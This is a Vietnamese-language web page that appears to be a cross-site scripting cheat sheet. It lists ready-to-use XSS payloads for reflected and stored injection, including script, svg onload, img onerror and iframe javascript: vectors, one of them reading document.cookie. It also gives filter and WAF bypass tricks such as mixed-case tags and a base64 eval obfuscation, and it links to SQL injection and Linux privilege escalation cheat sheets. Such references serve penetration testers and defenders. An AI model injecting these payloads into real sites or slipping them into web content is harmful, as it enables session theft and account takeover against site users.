Cross-Site Scripting (XSS) Payloads & Bypass
Tổng hợp các payload XSS cơ bản đến nâng cao bao gồm Reflected, Stored, DOM-based XSS và kỹ thuật bypass Filter/WAF.
Tổng quan & Hướng dẫn sử dụng
Cross-Site Scripting (XSS) là lỗ hổng chèn mã kịch bản độc hại (thường là JavaScript) vào các trang web đáng tin cậy. Dưới đây là bộ sưu tập các payload XSS được phân loại chi tiết.
Reflected XSS Payloads
Payloads áp dụng cho dữ liệu phản hồi trực tiếp từ tham số URL/Input.
Basic Script Tag Injection
<script>alert(document.cookie)</script>SVG Onload Handler
<svg onload=alert(1)>Img Error Event Trigger
<img src=x onerror=alert('XSS')>Stored XSS Payloads
Payloads lưu trữ trong cơ sở dữ liệu (Comment, Profile, Form).
Body Onload Payload
<body onload=alert('Stored XSS')>Iframe Source Script Injection
<iframe src="javascript:alert('XSS')"></iframe>Kỹ thuật Bypass Filter & WAF
Sử dụng Encoding, Case Variations và HTML5 attributes để bypass WAF.
Case Variation Injection
<sCrIpT>alert(1)</sCrIpT>Obfuscated Vector without Space
<svg/onload=eval(atob('YWxlcnQoMSk='))>Cheatsheets liên quan
SQL Injection (SQLi) Cheat Sheet
Khai thác lỗ hổng tiêm mã SQL: UNION-based, Error-based, Blind Boolean, Time-based SQLi trên MySQL, PostgreSQL & MSSQL.
Linux Privilege Escalation Commands
Danh sách lệnh liệt kê hệ thống, kiểm tra quyền SUID/SGID, sudo -l, capabilities và cron jobs để leo thang Root.